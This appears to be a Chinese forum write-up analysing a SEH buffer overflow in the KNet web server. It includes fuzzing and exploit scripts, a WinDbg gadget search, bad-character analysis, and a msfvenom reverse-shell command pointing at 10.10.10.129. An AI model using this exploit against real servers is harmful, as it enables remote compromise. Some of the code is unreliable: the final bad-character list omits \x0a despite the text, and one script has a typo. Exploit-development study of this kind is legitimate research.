-
-
[原创] Windows SEH 溢出漏洞分析记录 - KNet
-
发表于: 4小时前 75
-
Windows SEH 溢出漏洞分析记录 - KNet
1.Fuzz 测试
正常安装以后准备一个目录,随便放个index.html然后开启web服务即可

然后写一个模糊测试脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #!/usr/bin/pythonimport socket, syshost = sys.argv[1]port = 80size = 2000def send_exploit_request(): buffer = b"\x41" * size #HTTP Request request = buffer + b" / HTTP/1.0\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) # print(s.recv(1024)) s.close()if __name__ == "__main__": send_exploit_request() |
执行脚本,在windbg当中查看程序内存,肉眼可见,这个后续空间绝对不够写shellcode。优点是只有这一个SEH结构。

2.溢出位置计算
msf生成有序字符串并且查询
1 | msf-pattern_create -l 2000 |
windbg输出
1 2 3 | 0:000> !exchain0014ffcc: 39714238Invalid exception stack at 71423771 |
查询字符串位置
1 | msf-pattern_offset -q 39714238 |

修改代码
1 2 3 4 | Next_Seh = b'B' * 4SE_Handler = b'C' * 4buffer = b'A' * 1282 + Next_Seh + SE_Handlerbuffer += b'D' * (size - len(buffer)) |
windbg验证,一切符合预期。

3.坏字符检测
修改代码
1 2 3 4 5 | Next_Seh = b'B' * 4SE_Handler = b'C' * 4badchars = b'\x01\x02......' # badcharsbuffer = b'A' * 1282 + Next_Seh + SE_Handler + badcharsbuffer += b'D' * (size - len(buffer)) |
这里有点意外,\x0a竟然不是坏字符,一般来说web服务,\x0a都是坏字符。(这里有个坑,具体在Get shell部分详细说)

就常规的找坏字符的方式找出所有坏字符
1 | \x00 \x0d \x0e \x0f \x20 |
4.PPR指令查找
还是使用narly,首先查看程序本身,00400000 00418000 KNet 这个地址本身就包含坏字符。所以PPR指令肯定不能从这里找,CRTDLL的地址很合适,但是需要首先了解一下这个dll的特性。
根据介绍,它是微软 Windows 系统中最古老的 C 语言运行时库之一。它是为了支持 Windows 95 和 Windows NT 3.x 时代的应用程序而设计的。它已经被废弃(Deprecated)很久了。现代程序通常使用 msvcrt.dll、vcruntime140.dll 或通用的 ucrtbase.dll。但是,为了保持向后兼容性(让几十年前的老软件还能在 Win10/Win11 上运行),微软一直把它保留在 C:\Windows\System32 中。也就是说,这是一个为了兼容性保留的“遗留文件”,微软绝不会轻易修改它的代码逻辑,除非发现它内部有惊天动地的安全漏洞。CRTDLL.dll 是一个更新频率极低、Gadget 丰富的好东西,是可以利用的。
并且一般状况下,这个DLL即使是在现代系统上也不会开启保护,所以这里查询的时候,可以看到SafeSEH OFF

OK,写个脚本
1 2 3 4 5 6 7 8 9 10 | .block{ .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) { .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) { s-[1]b 10010000 10037000 $t0 $t1 c3 } }} |
加载windbg
1 2 3 4 5 6 7 8 9 10 11 | 0:000> $><C:\Users\Cypher\Desktop\find_ppr.wds0x100161900x100170710x1001739b0x10017dff0x100181190x100181f70x1001a93b0x1001b6130x1001c119...... |
修改代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #!/usr/bin/pythonimport socket, syshost = sys.argv[1]port = 80size = 2000def send_exploit_request(): Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8; nop; nop SE_Handler = b'\x90\x61\x01\x10' # 0x10016190 CRTDLL!open_osfhandle+0x9a: pop ebx;pop ebp;ret # badchars \x00 \x0d \x0e \x0f \x20 shellcode = b'\x90' * 12 shellcode += b'\x90' * (400 - len(shellcode)) jmp_shellcode = b'\x90' * 4 + b'\xE9\x6A\xFE\xFF\xFF' # E96AFEFFFF jmp 0xfffffe6f buffer = b'A' * 882 + shellcode + Next_Seh + SE_Handler + jmpshel buffer += b'D' * (size - len(buffer)) #HTTP Request request = buffer + b" / HTTP/1.0\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) # print(s.recv(1024)) s.close()if __name__ == "__main__": send_exploit_request() |
5.Get Shell
关于坏字符,按照常理来说,此时只需要把shellcode替换,即可正常反弹shell。但是实操起来会发现,遇到各种崩溃。前后的部分都好好的,但是在执行到shellcode以后,就会崩溃了。
查看此时代码:
1 2 3 | # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0d\x0e\x0f\x20'shellcode = b'\x90' * 30shellcode += ..... |
这样执行以后查看windbg,通过这个调试记录可以清晰的看到是走到了msf生成的shellcode当中的解码器部分,但是在执行到某一个点的时候崩溃了。

这个问题就出在坏字符上,这里引入一个概念上下文相关的坏字符。
先说答案\x0a和\x25也是坏字符。
\x25在HTTP当中是%,当发送 \x01\x02...\x24\x25\x26... 时,\x25 (%) 后面紧跟着的是 \x26 (&)。 在 Web 服务器看来,它收到了字符串 ...$%&...服务器尝试进行 URL 解码。它虽然看到了 %,但是看后面两个字符,后面是 &。在 Hex 中,& 不是一个有效的十六进制数字(0-9, A-F)。所以,服务器判断这不是一个合法的 URL 编码序列,于是原样保留了 %。最终结果就是内存里看到了 25,所以认为它是安全的。
\x0a这个在大部分HTTP的情境下都是坏字符,但是测试坏字符的时候能够正常显示,原因在于,它的行为取决于它出现在哪里。坏字符测试时是这样的,\x0a 夹在一堆字符中间(buffer = b'A' *......)。KNet Web Server 可能有一个比较“宽容”的缓冲区读取逻辑,它可能是一次性 recv 固定长度,或者在看到连续的 \r\n\r\n 之前不停止。在简单的线性测试中,它可能侥幸过关,或者被当作普通字符读入缓冲区。但是,当我们把\x0a写入shellcode,就变成了这样GET /<Shellcode> HTTP/1.0服务可能认为 GET 请求到\x0a这里就完了,后面的字节被当作了下一行(Header)来处理,而不是 URI 的一部分。所以最终结果就是虽然在内存当中能够看到完整的shellcode,但是他却无法完整的解码执行。
OK了解到所有的原因,处理这个点就非常简单了,在生成shellcode的时候加上这个坏字符即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | #!/usr/bin/pythonimport socket, syshost = sys.argv[1]port = 80size = 2000def send_exploit_request(): Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8; nop; nop SE_Handler = b'\x90\x61\x01\x10' # 0x10016190 CRTDLL!open_osfhandle+0x9a: pop ebx;pop ebp;ret # \x00 \x0d \x0e \x0f \x20 \x0a \x25 # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai EXITFUNC=thread -b '\x00\x0d\x0e\x0f\x20\x25' shellcode = b'\x90' * 30 shellcode += b"\xdb\xdb\xbf\x47\xef\x53\x34\xd9\x74\x24\xf4" ..... shellcode += b'\x90' * (400 - len(shellcode)) jmp_shellcode = b'\x90' * 4 + b'\xE9\x6A\xFE\xFF\xFF' # E96AFEFFFF jmp 0xfffffe6f buffer = b'A' * 882 + shellcode + Next_Seh + SE_Handler + jmp_shellcode buffer += b'D' * (size - len(buffer)) #HTTP Request request = buffer + b" / HTTP/1.0\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) # print(s.recv(1024)) s.close()if __name__ == "__main__": send_exploit_request() |
